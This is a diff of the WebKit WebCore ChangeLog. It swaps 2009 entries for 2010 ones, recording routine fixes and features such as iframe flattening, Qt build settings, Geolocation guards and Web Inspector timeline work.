-        (WebInspector.ResourcesPanel.prototype.searchCanceled):
-        (WebInspector.ResourcesPanel.prototype.performSearch):
-        (WebInspector.ResourcesPanel.prototype.refresh):
-        (WebInspector.ResourcesPanel.prototype.reset):
-        (WebInspector.ResourcesPanel.prototype.removeResource):
-        (WebInspector.ResourcesPanel.prototype.addMessageToResource):
-        (WebInspector.ResourcesPanel.prototype.clearMessages):
-        (WebInspector.ResourcesPanel.prototype.refreshResource):
-        (WebInspector.ResourcesPanel.prototype.recreateViewForResourceIfNeeded):
-        (WebInspector.ResourcesPanel.prototype.showResource):
-        (WebInspector.ResourcesPanel.prototype._sortResourcesIfNeeded):
-        (WebInspector.ResourcesPanel.prototype._toggleLargerResources):
-        (WebInspector.ResourcesPanel.prototype._toggleResourceTracking):
-        (WebInspector.ResourcesPanel.prototype.get _resources):
-        (WebInspector.ResourceTimeCalculator.prototype._upperBound):
-        * inspector/front-end/TimelinePanel.js:
-        (WebInspector.TimelinePanel):
-        (WebInspector.TimelinePanel.prototype.get categories):
-        (WebInspector.TimelinePanel.prototype.populateSidebar):
-        (WebInspector.TimelinePanel.prototype.addRecordToTimeline):
-        (WebInspector.TimelinePanel.prototype.createItemTreeElement):
-        (WebInspector.TimelinePanel.prototype.createItemGraph):
-        (WebInspector.TimelinePanel.prototype._formatRecord):
-        (WebInspector.TimelineCategory):
-        * inspector/front-end/inspector.css:
-        * inspector/front-end/inspector.html:
+        qtlibinfix adds possibility having multiple versions of Qt in Symbian devices.
+        Fix also allows unfrozen DLL exports during development.
 
-2009-10-28  Kelly Norton  <knorton@google.com>
+        * Removed heap size configuration. DLLs don't have a heap.
 
-        Reviewed by Pavel Feldman.
+        * Removed enforcement to def files for package builds. Instead inherit the setting from
+        Qt's qconfig.pri whether to use def files or not. It's still possible to override this
+        also at qmake time by passing CONFIG+=def_files.
 
-        Resets InspectorFrontend in InspectorTimelineAgent instead of removing it so
-        that it remains active on refreshs and page transitions.
-        https://bugs.webkit.org/show_bug.cgi?id=30874
+        * WebCore.pro:
 
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::setFrontendProxyObject):
-        * inspector/InspectorTimelineAgent.cpp:
-        (WebCore::InspectorTimelineAgent::resetFrontendProxyObject):
-        * inspector/InspectorTimelineAgent.h:
+2010-03-26  Kenneth Rohde Christiansen  <kenneth@webkit.org>
 
-2009-10-27  Shinichiro Hamaji  <hamaji@chromium.org>
+        Reviewed by Antti Koivisto.
 
-        Reviewed by Darin Adler.
+        Implement flattening for iframes.
 
-        Provide a way to get counter values with layoutTestContoller
-        https://bugs.webkit.org/show_bug.cgi?id=30555
+        Refactoring of frameset flattening code to reuse it for
+        iframe flattening.
 
-        Expose WebCore::counterValueForElement as a WebCore API.
+        Tests: fast/frames/flattening/iframe-flattening-simple.html
 
         * WebCore.base.exp:
-        * rendering/RenderTreeAsText.cpp:
-        (WebCore::writeCounterValuesFromChildren):
-        (WebCore::counterValueForElement):
-        * rendering/RenderTreeAsText.h:
-
-2009-10-28  Nate Chapin  <japhet@chromium.org>
-
-        Unreviewed, Chromium build fix for r50225.
-
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::defaultObjectContentType):
-
-2009-10-28  Eric Z. Ayers  <zundel@google.com>
-
-        Reviewed by Pavel Feldman.
-
-        Adds InspectorTimelineAgent  instrumentation for encountering a
-        <SCRIPT> tag when parsing an HTML document. 
-
-        https://bugs.webkit.org/show_bug.cgi?id=30861
-
-        * bindings/js/ScriptSourceCode.h:
-        (WebCore::ScriptSourceCode::ScriptSourceCode):
-        (WebCore::ScriptSourceCode::startLine):
-        (WebCore::ScriptSourceCode::url):
-        * html/HTMLTokenizer.cpp:
-        (WebCore::HTMLTokenizer::scriptHandler):
-        (WebCore::HTMLTokenizer::scriptExecution):
-        * inspector/InspectorTimelineAgent.cpp:
-        (WebCore::InspectorTimelineAgent::willLoadXHR):
-        (WebCore::InspectorTimelineAgent::willScriptTag):
-        (WebCore::InspectorTimelineAgent::didScriptTag):
-        * inspector/InspectorTimelineAgent.h:
-        (WebCore::):
-        * inspector/TimelineRecordFactory.cpp:
-        (WebCore::TimelineRecordFactory::createScriptTagTimelineRecord):
-        * inspector/TimelineRecordFactory.h:
-        * inspector/front-end/TimelineAgent.js:
-
-2009-10-28  Steve Block  <steveblock@google.com>
-
-        Reviewed by Darin Adler.
-
-        Makes sure that Geolocation watch IDs remain positive on overflow.
-        https://bugs.webkit.org/show_bug.cgi?id=30122
-
-        No new tests possible.
-
-        * page/Geolocation.cpp: Modified.
-        (WebCore::Geolocation::watchPosition): Modified. Reset the watch ID to 1 on overflow.
-
-2009-10-28  George Staikos  <george.staikos@torchmobile.com>
-
-        Attempt to fix the Mac debug build after 50225.
-
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::defaultObjectContentType):
-
-2009-10-28  Alexey Proskuryakov  <ap@apple.com>
-
-        Reviewed by Darin Adler.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30841
-        <rdar://problem/7342730> WebKit should not pass Referer header through a redirect to a non-secure site
-
-        Tests: http/tests/ssl/referer-301.html
-               http/tests/ssl/referer-303.html
-
-        * platform/network/mac/ResourceHandleMac.mm:
-        (-[WebCoreResourceHandleAsDelegate connection:willSendRequest:redirectResponse:]):
-        Remove Referer header if redirecting from https to another protocol.
-
-        * platform/network/ResourceRequestBase.cpp:
-        (WebCore::ResourceRequestBase::clearHTTPReferrer): Update request counterparts, as it is
-        always done when changing or adding header fields.
-        (WebCore::ResourceRequestBase::clearHTTPOrigin): Ditto.
-
-        * platform/network/ResourceRequestBase.h: clearHTTPReferrer() and clearHTTPOrigin() are
-        no longer inline, since they have non-trivial implementations.
-
-        * platform/network/mac/ResourceRequestMac.mm:
-        (WebCore::ResourceRequest::doUpdatePlatformRequest): Fixed to synchronize header field removals.
-        (WebCore::ResourceRequest::doUpdateResourceRequest): Ditto.
-
-        * platform/network/cf/ResourceHandleCFNet.cpp:
-        (WebCore::willSendRequest):
-        * platform/network/cf/ResourceRequestCFNet.cpp:
-        (WebCore::setHeaderFields):
-        (WebCore::ResourceRequest::doUpdatePlatformRequest):
-        (WebCore::ResourceRequest::doUpdateResourceRequest):
-        Match Mac changes.
-        
-2009-10-28  Joe Mason  <jmason@rim.com>
-
-        Reviewed by Adam Treat.
-
-        Add FrameLoader::defaultObjectContentType, containing common code for
-        implementing FrameLoaderClient::objectContentType.  (Currently the gtk
-        and win ports have copied this code, and the qt port uses similar code
-        with a few extra clauses.  Moving this to a utility function cuts down
-        on copied code.)   This causes no behavioural change.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30868
-
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::defaultObjectContentType):
-        * loader/FrameLoader.h:
-
-2009-10-28  Kenneth Rohde Christiansen  <kenneth@webkit.org>
-
-        Reviewed by Tor Arne Vestbø.
-
-        [Qt] QWebHistory::saveState() is inconsistent with the Qt API
-        https://bugs.webkit.org/show_bug.cgi?id=30710
-
-        Enforce the versioning, by ignoring any version different
-        from 1.
-
-        * history/qt/HistoryItemQt.cpp:
-        (WebCore::HistoryItem::restoreState):
-        (WebCore::HistoryItem::saveState):
-
-2009-10-28  Pavel Feldman  <pfeldman@chromium.org>
-
-        Not reviewed: follow up fix to InspectorControllerStub.
-        Define it after inspector.js due to namespace
-
-        https://bugs.webkit.org/show_bug.cgi?id=30866
-
-        * inspector/front-end/inspector.html:
-
-2009-10-28  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Web Inspector: Add InspectorController stub in order to
-        support opening in standalone mode.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30866
-
-        * WebCore.gypi:
-        * WebCore.vcproj/WebCore.vcproj:
-        * inspector/front-end/InspectorControllerStub.js: Added.
-        (.WebInspector.InspectorControllerStub):
-        (.WebInspector.InspectorControllerStub.prototype.wrapCallback):
-        (.WebInspector.InspectorControllerStub.prototype.isWindowVisible):
-        (.WebInspector.InspectorControllerStub.prototype.platform):
-        (.WebInspector.InspectorControllerStub.prototype.closeWindow):
-        (.WebInspector.InspectorControllerStub.prototype.attach):
-        (.WebInspector.InspectorControllerStub.prototype.detach):
-        (.WebInspector.InspectorControllerStub.prototype.storeLastActivePanel):
-        (.WebInspector.InspectorControllerStub.prototype.clearMessages):
-        (.WebInspector.InspectorControllerStub.prototype.searchingForNode):
-        (.WebInspector.InspectorControllerStub.prototype.search):
-        (.WebInspector.InspectorControllerStub.prototype.toggleNodeSearch):
-        (.WebInspector.InspectorControllerStub.prototype.setAttachedWindowHeight):
-        (.WebInspector.InspectorControllerStub.prototype.moveByUnrestricted):
-        (.WebInspector.InspectorControllerStub.prototype.addResourceSourceToFrame):
-        (.WebInspector.InspectorControllerStub.prototype.addSourceToFrame):
-        (.WebInspector.InspectorControllerStub.prototype.getResourceDocumentNode):
-        (.WebInspector.InspectorControllerStub.prototype.highlightDOMNode):
-        (.WebInspector.InspectorControllerStub.prototype.hideDOMNodeHighlight):
-        (.WebInspector.InspectorControllerStub.prototype.inspectedWindow):
-        (.WebInspector.InspectorControllerStub.prototype.loaded):
-        (.WebInspector.InspectorControllerStub.prototype.localizedStringsURL):
-        (.WebInspector.InspectorControllerStub.prototype.windowUnloading):
-        (.WebInspector.InspectorControllerStub.prototype.hiddenPanels):
-        (.WebInspector.InspectorControllerStub.prototype.debuggerEnabled):
-        (.WebInspector.InspectorControllerStub.prototype.enableResourceTracking):
-        (.WebInspector.InspectorControllerStub.prototype.disableResourceTracking):
-        (.WebInspector.InspectorControllerStub.prototype.resourceTrackingEnabled):
-        (.WebInspector.InspectorControllerStub.prototype.enableDebugger):
-        (.WebInspector.InspectorControllerStub.prototype.disableDebugger):
-        (.WebInspector.InspectorControllerStub.prototype.addBreakpoint):
-        (.WebInspector.InspectorControllerStub.prototype.removeBreakpoint):
-        (.WebInspector.InspectorControllerStub.prototype.updateBreakpoint):
-        (.WebInspector.InspectorControllerStub.prototype.pauseInDebugger):
-        (.WebInspector.InspectorControllerStub.prototype.pauseOnExceptions):
-        (.WebInspector.InspectorControllerStub.prototype.setPauseOnExceptions):
-        (.WebInspector.InspectorControllerStub.prototype.resumeDebugger):
-        (.WebInspector.InspectorControllerStub.prototype.profilerEnabled):
-        (.WebInspector.InspectorControllerStub.prototype.enableProfiler):
-        (.WebInspector.InspectorControllerStub.prototype.disableProfiler):
-        (.WebInspector.InspectorControllerStub.prototype.startProfiling):
-        (.WebInspector.InspectorControllerStub.prototype.stopProfiling):
-        (.WebInspector.InspectorControllerStub.prototype.getProfileHeaders):
-        (.WebInspector.InspectorControllerStub.prototype.getProfile):
-        (.WebInspector.InspectorControllerStub.prototype.takeHeapSnapshot):
-        (.WebInspector.InspectorControllerStub.prototype.databaseTableNames):
-        (.WebInspector.InspectorControllerStub.prototype.stepIntoStatementInDebugger):
-        (.WebInspector.InspectorControllerStub.prototype.stepOutOfFunctionInDebugger):
-        (.WebInspector.InspectorControllerStub.prototype.stepOverStatementInDebugger):
-        (.WebInspector.InspectorControllerStub.prototype.setSetting):
-        (.WebInspector.InspectorControllerStub.prototype.dispatchOnInjectedScript):
-        (.WebInspector.InspectorControllerStub.prototype.releaseWrapperObjectGroup):
-        (.WebInspector.InspectorControllerStub.prototype.setting):
-        * inspector/front-end/inspector.html:
-        * inspector/front-end/inspector.js:
-        (WebInspector.UIString):
-
-2009-10-28  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
-
-        Reviewed by Jan Alonzo.
-
-        https://bugs.webkit.org/show_bug.cgi?id=25897
-        [Gtk] Extraneous object of ROLE_PANEL in hierarchy for entries
-
-        Expands upon the new funtionality which allows platforms to indicate
-        that a particular object should not be ignored, so that they can
-        specify that an object should be ignored or that it should be left up
-        to the default handling to decide.
-
-        * accessibility/AccessibilityObject.h:
-        * accessibility/chromium/AccessibilityObjectChromium.cpp:
-        * accessibility/gtk/AccessibilityObjectAtk.cpp:
-        * accessibility/mac/AccessibilityObjectMac.mm:
-        * accessibility/qt/AccessibilityObjectQt.cpp:
-        * accessibility/win/AccessibilityObjectWin.cpp:
-        * accessibility/wx/AccessibilityObjectWx.cpp:
-        (AccessibilityObject::accessibilityPlatformIncludesObject):
-        * accessibility/AccessibilityRenderObject.cpp:
-        (AccessibilityRenderObject::accessibilityIsIgnored):
-
-
-2009-10-28  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
-
-        Reviewed by Jan Alonzo.
-
-        https://bugs.webkit.org/show_bug.cgi?id=25534
-        [GTK] Objects of ROLE_TABLE should implement the accessible table interface
-
-        Expose the table summary as the accessible description because there is no summary object.
-
-        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
-        (webkit_accessible_get_description):
-
-2009-10-28  Steve Block  <steveblock@google.com>
-
-        Reviewed by Eric Seidel.
-
-        Adds ScriptController::intializeThreading(), with both JSC and V8 implementations.
-        https://bugs.webkit.org/show_bug.cgi?id=30678
-
-        This new method is used from common code, rather than calling JSC::initializeThreading() (or the V8 equivalent) directly.
-
-        Build fix, no new tests required.
-
-        * bindings/js/ScriptController.cpp: Modified.
-        (WebCore::ScriptController::initializeThreading): Added.
-        * bindings/js/ScriptController.h: Modified. Adds ScriptController::initializeThreading().
-        * bindings/v8/ScriptController.cpp: Modified.
-        (WebCore::ScriptController::initializeThreading): Added.
-        * bindings/v8/ScriptController.h: Modified. Adds ScriptController::initializeThreading().
-        * loader/icon/IconDatabase.cpp: Modified.
-        (WebCore::iconDatabase): Call ScriptController::initializeThreading(), rather than JSC::initializeThreading().
-        * storage/Database.cpp: Modified.
-        (WebCore::Database::Database): Call ScriptController::initializeThreading(), rather than JSC::initializeThreading().
-
-2009-10-26  Holger Hans Peter Freyther  <zecke@selfish.org>
-
-        Reviewed by Darin Adler.
-
-        Document a feature of the m_liveDecodedResources list.
-        https://bugs.webkit.org/show_bug.cgi?id=30209
-
-        The code made the assumption that the list is sorted by
-        the m_lastDecodedAccessTime property of the CachedResource.
-        The above is not true when CachedResource::setDecodedSize
-        is called and the item is inserted the first time. In this
-        case the m_lastDecodedAccessTime is still zero and the
-        m_liveDecodedResources list becomes unsorted.
-
-        It is impossible that Cache::pruneLiveResources will
-        stop to process the list too early due this feature and
-        the alternatives of updating m_lastDecodedAccessTime in
-        CachedResource::setDecodedSize or changing the insert
-        to search the right position have a negative impact on
-        performance. The best solution for now is to document
-        this feature.
-
-        * loader/Cache.cpp:
-        (WebCore::Cache::pruneLiveResources):
-        * loader/CachedResource.cpp:
-        (WebCore::CachedResource::setDecodedSize):
+        * page/FrameView.cpp:
+        (WebCore::FrameView::layout):
+        (WebCore::FrameView::scheduleRelayout):
+        * page/Settings.cpp:
+        (WebCore::Settings::Settings):
+        (WebCore::Settings::setFrameFlatteningEnabled):
+        * page/Settings.h:
+        (WebCore::Settings::frameFlatteningEnabled):
+        * rendering/RenderFrame.cpp:
+        * rendering/RenderFrame.h:
+        * rendering/RenderFrameSet.cpp:
+        (WebCore::RenderFrameSet::flattenFrameSet):
+        * rendering/RenderFrameSet.h:
+        * rendering/RenderPart.cpp:
+        (WebCore::RenderPart::layoutWithFlattening):
+        * rendering/RenderPart.h:
+        * rendering/RenderPartObject.cpp:
+        (WebCore::RenderPartObject::flattenFrame):
+        (WebCore::RenderPartObject::calcHeight):
+        (WebCore::RenderPartObject::calcWidth):
+        (WebCore::RenderPartObject::layout):
+        * rendering/RenderPartObject.h:
 
-2009-10-28  Xan Lopez  <xlopez@igalia.com>
+2010-03-30  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
 
-        Reviewed by Jan Alonzo.
+        Reviewed by David Kilzer.
 
-        [Gtk] Extraneous object of ROLE_PANEL in hierarchy for entries
-        https://bugs.webkit.org/show_bug.cgi?id=25897
+        Guard Geolocation files with ENABLE_GEOLOCATION
+        https://bugs.webkit.org/show_bug.cgi?id=25756
 
-        Make text controls always implement the text interface, and the
-        editable text interface when they are not read only. This is what
-        ATK-users expect.
+        The intent is to guard the Geolocation implementation files 
+        and minimize the impact on on clients/call sites.
 
-        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
-        (getInterfaceMaskFromObject):
+        * DerivedSources.make:
+        * WebCore.Geolocation.exp: Added. Exported interfaces if GEOLOCATION
+        is enabled.
+        * WebCore.base.exp:
+        * bindings/js/JSCustomPositionCallback.cpp:
+        * bindings/js/JSCustomPositionErrorCallback.cpp:
+        * bindings/js/JSGeolocationCustom.cpp:
+        * page/Geolocation.cpp:
+        (WebCore::Geolocation::disconnectFrame): Stub implementation if
+        GEOLOCATION is turned off.
+        (WebCore::Geolocation::Geolocation): Ditto.
+        (WebCore::Geolocation::~Geolocation): Ditto.
+        (WebCore::Geolocation::setIsAllowed): Ditto.
+        * page/Geolocation.h: 
+        * page/Geolocation.idl:
+        * page/GeolocationPositionCache.cpp:
+        * page/Geoposition.idl:
+        * page/PositionError.idl:
+        * platform/GeolocationService.cpp:
+        * platform/mock/GeolocationServiceMock.cpp:
 
-2009-10-27  Holger Hans Peter Freyther  <zecke@selfish.org>
+2010-03-22  Kenneth Rohde Christiansen  <kenneth@webkit.org>
 
         Reviewed by Simon Fraser.
 
-        Change HitTestResult methods to use (3d) transformation aware methods
-        https://bugs.webkit.org/show_bug.cgi?id=27347
-
-        The current HitTestResult methods are not using the (3d)
-        transformation aware routines. This can lead to an assertion
-        SVGRenderBase::mapLocalToContainer method.
-
-        Change HitTestResult::imageRect to use the (3d) transformation
-        aware RenderBox::absoluteContentQuad to avoid running into
-        an assertion with SVG content.
-
-        Remove HitTestResult::boundingBox() as it is only used in
-        two places and conceptually doesn't belong into a HitTest
-        which is operating on points.
-
-        A classic test case is not possible as the methods are not excercised
-        from within HTML/SVG but from the WebKit API Layer. A unittest
-        for Qt/Gtk+/Mac would need to be written but Qt/Gtk+ currently
-        do not support 3d transformations making it impossible to write
-        a reliable test case and the Mac port is currently not doing
-        unit testing.
-
-
-        * rendering/HitTestResult.cpp: Remove boundingBox() method
-        (WebCore::HitTestResult::imageRect): Use transformation aware method
-        * rendering/HitTestResult.h: Remove boundingBox()
-
-2009-10-26  Holger Hans Peter Freyther  <zecke@selfish.org>
-
-        Reviewed by Eric Seidel.
-
-        [Qt] Custom Cursor doesn't use hotspot.
-        https://bugs.webkit.org/show_bug.cgi?id=30820
-
-        Cursors loaded from a QPixmap didn't specifiy the
-        hotspot. Take the hotspot values from the mac
-        implementation.
-
-        * platform/qt/CursorQt.cpp:
-
-2009-10-27  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Web Inspector: Initial revision of the Timeline grid.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30834
-
-        * English.lproj/localizedStrings.js:
-        * WebCore.gypi:
-        * inspector/front-end/AbstractTimelinePanel.js:
-        (WebInspector.AbstractTimelinePanel.prototype.populateSidebar):
-        (WebInspector.AbstractTimelinePanel.prototype.refresh):
-        (WebInspector.AbstractTimelineCalculator):
-        * inspector/front-end/Images/timelineBarBlue.png: Added.
-        * inspector/front-end/Images/timelineBarGray.png: Added.
-        * inspector/front-end/Images/timelineBarGreen.png: Added.
-        * inspector/front-end/Images/timelineBarOrange.png: Added.
-        * inspector/front-end/Images/timelineBarPurple.png: Added.
-        * inspector/front-end/Images/timelineBarRed.png: Added.
-        * inspector/front-end/Images/timelineBarYellow.png: Added.
-        * inspector/front-end/Images/timelineCheckmarks.png: Added.
-        * inspector/front-end/Images/timelineDots.png: Added.
-        * inspector/front-end/ResourcesPanel.js:
-        (WebInspector.ResourceTimeCalculator):
-        (WebInspector.ResourceTransferSizeCalculator):
-        * inspector/front-end/TimelineAgent.js:
-        * inspector/front-end/TimelinePanel.js:
-        (WebInspector.TimelinePanel):
-        (WebInspector.TimelinePanel.prototype.get statusBarItems):
-        (WebInspector.TimelinePanel.prototype.get categories):
-        (WebInspector.TimelinePanel.prototype.populateSidebar):
-        (WebInspector.TimelinePanel.prototype._createStatusbarButtons):
-        (WebInspector.TimelinePanel.prototype.addItemToTimeline):
-        (WebInspector.TimelinePanel.prototype.refresh):
-        (WebInspector.TimelinePanel.prototype._toggleTimelineButtonClick):
-        (WebInspector.TimelinePanel.prototype.reset):
-        (WebInspector.TimelinePanel.prototype._formatRecord):
-        (WebInspector.TimelinePanel.prototype.showCategory):
-        (WebInspector.TimelinePanel.prototype.hideCategory):
-        (WebInspector.TimelineRecordTreeElement):
-        (WebInspector.TimelineRecordTreeElement.prototype.onattach):
-        (WebInspector.TimelineCalculator):
-        (WebInspector.TimelineCalculator.prototype.computeBarGraphPercentages):
-        (WebInspector.TimelineCalculator.prototype.computePercentageFromEventTime):
-        (WebInspector.TimelineCalculator.prototype.computeBarGraphLabels):
-        (WebInspector.TimelineCalculator.prototype.updateBoundaries):
-        (WebInspector.TimelineCalculator.prototype.formatValue):
-        (WebInspector.TimelineGraph):
-        (WebInspector.TimelineGraph.prototype.get graphElement):
-        (WebInspector.TimelineGraph.prototype.refreshLabelPositions):
-        (WebInspector.TimelineGraph.prototype.refresh):
-        * inspector/front-end/inspector.css:
-        * inspector/front-end/inspector.js:
-        (WebInspector._createPanels):
-
-2009-10-27  Joseph Pecoraro  <joepeck@webkit.org>
-
-        Reviewed by Pavel Feldman.
-
-        Web Inspector: Move runAfterPendingDispatches to TestController for Clarity
-        https://bugs.webkit.org/show_bug.cgi?id=30844
-
-        * inspector/front-end/TestController.js:
-        (WebInspector.TestController.prototype.runAfterPendingDispatches):
-        * inspector/front-end/inspector.js: moved runAfterPendingDispatches
-
-2009-10-27  Darin Fisher  <darin@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Add missing forward declaration of FramelessScrollView.
-        https://bugs.webkit.org/show_bug.cgi?id=30824
-
-        * platform/chromium/FramelessScrollViewClient.h:
-
-2009-10-27  Chris Fleizach  <cfleizach@apple.com>
-
-        Reviewed by Adele Peterson.
-
-        WAI-ARIA: add support for 'presentation' role
-        https://bugs.webkit.org/show_bug.cgi?id=30806
-
-        Test: accessibility/aria-presentational-role.html
-
-        * accessibility/AccessibilityObject.h:
-        (WebCore::):
-        * accessibility/AccessibilityRenderObject.cpp:
-        (WebCore::AccessibilityRenderObject::accessibilityIsIgnored):
-        (WebCore::RoleEntry::):
-
-2009-10-27  Chris Fleizach  <cfleizach@apple.com>
-
-        Reviewed by Darin Adler.
-
-        ARIA menu/menu item need AXRoleDescription
-        https://bugs.webkit.org/show_bug.cgi?id=30804
-
-        Make sure that role descriptions will default to the system's first, before
-        returning an unknown role.
-
-        Test: platform/mac/accessibility/aria-menu-role-descriptions.html
-
-        * accessibility/mac/AccessibilityObjectWrapper.mm:
-        (-[AccessibilityObjectWrapper roleDescription]):
-
-2009-10-27  Geoffrey Garen  <ggaren@apple.com>
-
-        Qt build fix: migrated away from API that no longer exists.
-
-        * bridge/qt/qt_runtime.cpp:
-        (JSC::Bindings::convertQVariantToValue):
-
-2009-10-27  Geoffrey Garen  <ggaren@apple.com>
-
-        Qt build fix: migrated away from API that no longer exists.
-
-        * bridge/qt/qt_runtime.cpp:
-        (JSC::Bindings::convertValueToQVariant):
+        Add support for Widgets 1.0: View Mode Media Feature
+        https://bugs.webkit.org/show_bug.cgi?id=35446
 
-2009-10-27  Oliver Hunt  <oliver@apple.com>
-
-        Fix wording in comment.
-
-        * bridge/objc/objc_instance.mm:
-        (allocateAutoReleasePool):
-
-2009-10-27  Oliver Hunt  <oliver@apple.com>
-
-        Reviewed by Darin Adler.
+        When enabling Web Widgets, add support for the view-mode media
+        feature (http://www.w3.org/TR/widgets-vmmf/).
 
-        Crash occurs after launching Newsfire 1.6 for the first time
-        https://bugs.webkit.org/show_bug.cgi?id=30807
+        Test: fast/media/media-feature-wgt-view-mode.html
 
-        We allocate an autorelease pool but then store it off the stack. In a
-        GC environment this led to it being collected, and thus caused badness
-        to ensue.  To work around this we simply avoid using a pool at all in
-        a GC environment as it would be a no-op anyway.
-
-        * bridge/objc/objc_instance.mm:
-        (allocateAutoReleasePool):
-        (ObjcInstance::virtualBegin):
-
-2009-10-27  Steve Block  <steveblock@google.com>
-
-        Reviewed by Darin Adler.
-
-        When a Geolocation method is called, immediately calls the error calback asynchronously if permissions
-        have already been denied.
-        https://bugs.webkit.org/show_bug.cgi?id=27944.
-
-        Tests: fast/dom/Geolocation/permission-denied-already-error.html
-               fast/dom/Geolocation/permission-denied-already-success.html
+        * css/CSSValueKeywords.in:
+        * css/MediaFeatureNames.h:
+        * css/MediaQueryEvaluator.cpp:
+        (WebCore::view_modeMediaFeatureEval):
+        * page/ChromeClient.h:
+        (WebCore::ChromeClient::isDocked):
+        (WebCore::ChromeClient::isFloating):
+        (WebCore::ChromeClient::isApplication):
+        (WebCore::ChromeClient::isFullscreen):
 
-        * page/Geolocation.cpp: Modified.
-        (WebCore::Geolocation::GeoNotifier::GeoNotifier): Modified. GeoNotifier takes Geolocation object as constructor argument.
-        (WebCore::Geolocation::GeoNotifier::setFatalError): Added. Sets a fatal error for this notifier, causing it to terminate immediately and call the error callback asynchronously.
-        (WebCore::Geolocation::GeoNotifier::timerFired): Added. Used to call the error callback asynchronously on fatal error.
-        (WebCore::Geolocation::getCurrentPosition): Modified. Calls startRequest.
-        (WebCore::Geolocation::watchPosition): Modified. Calls startRequest.
-        (WebCore::Geolocation::startRequest): Added. Common functionality for starting a one-shot or watch request. Sets a fatal error on the notifier if permissions have already been denied.
-        (WebCore::Geolocation::fatalErrorOccurred): Added. Registers that a notifier has encountered a fatal error and should be destroyed.
-        (WebCore::Geolocation::setIsAllowed): Modified. Uses a standard error message for the error callback when permissions are denied.
-        * page/Geolocation.h: Modified.
-        (WebCore::Geolocation::isDenied): Added. Determines whether permissions have been denied.
+2010-03-29  Luiz Agostini  <luiz.agostini@openbossa.org>
 
-2009-10-27  Chris Marrin  <cmarrin@apple.com>
+        Reviewed by Kenneth Rohde Christiansen.
 
-        Reviewed by Oliver Hunt.
+        [Qt] Multiselect - Adding method itemIsSelected() to QtAbstractWebPopup
+        https://bugs.webkit.org/show_bug.cgi?id=36769
 
-        Fixed a bug where I was using the wrong Canvas pointer to do a cross-domain check
-        https://bugs.webkit.org/show_bug.cgi?id=30840
+        Adding method itemIsSelected() to QtAbstractWebPopup.
 
-        * html/canvas/CanvasRenderingContext2D.cpp:
-        (WebCore::CanvasRenderingContext2D::drawImage):
+        * platform/qt/QtAbstractWebPopup.h:
+        (WebCore::QtAbstractWebPopup::itemIsSelected):
 
-2009-10-27  Eric Seidel  <eric@webkit.org>
+2010-03-29  Dawit Alemayehu  <adawit@kde.org>
 
-        Reviewed by Nikolas Zimmermann.
+        Reviewed by Simon Hausmann.
 
-        SVGStyledElement::getPresentationAttribute() can return a shared CSSValue (some SVG tests randomly fail on the bot, and in release builds)
-        https://bugs.webkit.org/show_bug.cgi?id=29620
+        Added a function, WebCore::shouldTreatAsAttachment, to HTTPParsers.*
 
-        SVG was modifying CSSValues cached of off CSSMappedAttributeDeclarations.
-        This patch fixes the check to make sure that a new CSSMappedAttributeDeclaration is
-        created before returning a CSSValue that JavaScript can modify.
+        https://bugs.webkit.org/show_bug.cgi?id=36395
 
-        Test: svg/dom/getPresentationAttribute-cache-corruption.svg
+        This function, which was moved from WebKit/chromium/src/FrameClientImpl.cpp,
+        is used to check whether or not a request is supposed to be rendered or
+        simply downloaded based on the "Content-Disposition" header sent by the
+        web server. The intent of code refactoring is to avoid code duplication
+        so that this piece of code can be used by other implementations such as
+        QtWebKit.
 
-        * svg/SVGStyledElement.cpp:
-        (WebCore::SVGStyledElement::getPresentationAttribute):
+        * platform/network/HTTPParsers.cpp:
+        (WebCore::shouldTreatAsAttachment):
+        * platform/network/HTTPParsers.h:
 
-2009-10-27  Dan Bernstein  <mitz@apple.com>
+2010-03-29  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
 
-        Reviewed by Simon Fraser.
+        Reviewed by nobody, build fix.
 
-        Incomplete repaint of text field in relative positioned inline at imdb.com
-        https://bugs.webkit.org/show_bug.cgi?id=30047
+        [Qt] Fix build break introduced in r56724.
 
-        Test: fast/repaint/inline-relative-positioned.html
+        * WebCore.pro:
 
-        Implemented offsetFromContainer(), mapLocalToContainer() and
-        mapAbsoluteToLocalPoint() in RenderInline.
+2010-03-29  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
 
-        * rendering/RenderBox.h: Fixed argument names in the declaration of
-        mapLocalToContainer().
-        * rendering/RenderInline.cpp:
-        (WebCore::RenderInline::offsetFromContainer):
-        (WebCore::RenderInline::mapLocalToContainer):
-        (WebCore::RenderInline::mapAbsoluteToLocalPoint):
-        * rendering/RenderInline.h:
+        Reviewed by Simon Hausmann.
 
-2009-10-27  Jeremy Orlow  <jorlow@chromium.org>
+        [Qt] Do not generate INSTALLS for webkit when building inside Qt.
+        Qt will do this for us.
 
-        Speculative build fix for Chromium.
+        * WebCore.pro:
 
-        * platform/graphics/GraphicsContext3D.h:
+2010-03-29  Antti Koivisto  <koivisto@iki.fi>
 
-2009-10-27  Chris Marrin  <cmarrin@apple.com>
+        Reviewed by Kenneth Rohde Christiansen.
 
-        Reviewed by Simon Fraser.
+        https://bugs.webkit.org/show_bug.cgi?id=36703
+        Timer restart loop during page loading
         
-        Make WebGL context failure more robust and make it succeed in more cases
-        https://bugs.webkit.org/show_bug.cgi?id=30349
-
-        Bubble a failure to get a CGLContext up to HTMLContextElement so it can
-        return null from getContext. Also added a more robust pixel format choosing 
-        mechanism and can render correctly when a SW renderer is chosen.
-
-        * html/HTMLCanvasElement.cpp:
-        (WebCore::HTMLCanvasElement::getContext):
-        * html/canvas/CanvasRenderingContext.h:
-        * html/canvas/CanvasRenderingContext2D.cpp:
